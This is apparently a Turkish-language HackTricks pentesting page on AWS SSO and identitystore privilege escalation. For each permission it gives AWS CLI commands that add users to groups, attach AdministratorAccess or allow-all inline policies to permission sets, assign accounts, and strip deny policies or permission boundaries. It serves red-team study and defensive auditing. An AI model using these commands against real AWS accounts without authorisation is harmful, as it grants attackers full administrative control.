AWS - SSO & identitystore Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

AWS Kimlik Merkezi / AWS SSO

AWS Kimlik Merkezi / AWS SSO hakkında daha fazla bilgi için kontrol edin:

AWS - IAM, Identity Center & SSO Enum

Varsayılan olarak, sadece Yönetim Hesabı izinlerine sahip olan kullanıcılar, IAM Kimlik Merkezi'ne erişebilir ve kontrol edebilir. Diğer hesaplardan gelen kullanıcılar, hesap bir Yetkilendirilmiş Yönetici ise izin verebilir. Daha fazla bilgi için dokümantasyona bakın.

Şifre Sıfırlama

Bu gibi durumlarda ayrıcalıkları yükseltmenin kolay bir yolu, kullanıcıların şifrelerini sıfırlamalarına izin veren bir izne sahip olmaktır. Ne yazık ki, kullanıcının şifresini sıfırlaması için sadece bir e-posta göndermek mümkündür, bu nedenle kullanıcının e-postasına erişiminiz olması gerekir.

identitystore:CreateGroupMembership

Bu izinle bir kullanıcıyı bir gruba yerleştirmek mümkündür, böylece grup tarafından sahip olunan tüm izinleri devralır.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ekstra izinler verebilir.

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ekstra izinler verebilir.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ekstra izinler verebilir.

Bu durumda bu izinleri kötüye kullanmak için etkilenecek TÜM hesaplarda bulunan bir müşteri tarafından yönetilen politikanın adını bilmelisiniz.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Bu izne sahip bir saldırgan, bir kullanıcıya kontrolü altındaki bir hesaba bir İzin Seti verebilir.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Kullanıcıya atanan bir rol adı için STS kısa vadeli kimlik bilgilerini döndürür.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Ancak, nasıl elde edileceğinden emin olmadığım bir erişim belirteci gerekiyor (TODO).

sso:DetachManagedPolicyFromPermissionSet

Bu izne sahip bir saldırgan, belirtilen izin kümesinden bir AWS yönetilen politikasının ilişkisini kaldırabilir. Yönetilen bir politikayı (reddetme politikası) ayırarak daha fazla ayrıcalık vermek mümkündür.

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Bu izne sahip bir saldırgan, belirtilen izin kümesinden bir Müşteri tarafından yönetilen politikanın ilişkisini kaldırabilir. Yönetilen bir politika (reddetme politikası) ayırarak daha fazla ayrıcalık vermek mümkündür.

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Bu izne sahip bir saldırgan, izin kümesinden bir iç içe geçmiş politikadan izinleri kaldırabilir. Bir iç içe geçmiş politikayı ayırarak (reddetme politikası) daha fazla ayrıcalık vermek mümkündür.

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Bu izne sahip bir saldırgan, izin kümesinden İzin Sınırını kaldırabilir. İzin Sınırından verilen kısıtlamaları kaldırarak, İzin Kümesine daha fazla ayrıcalık vermek mümkündür.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated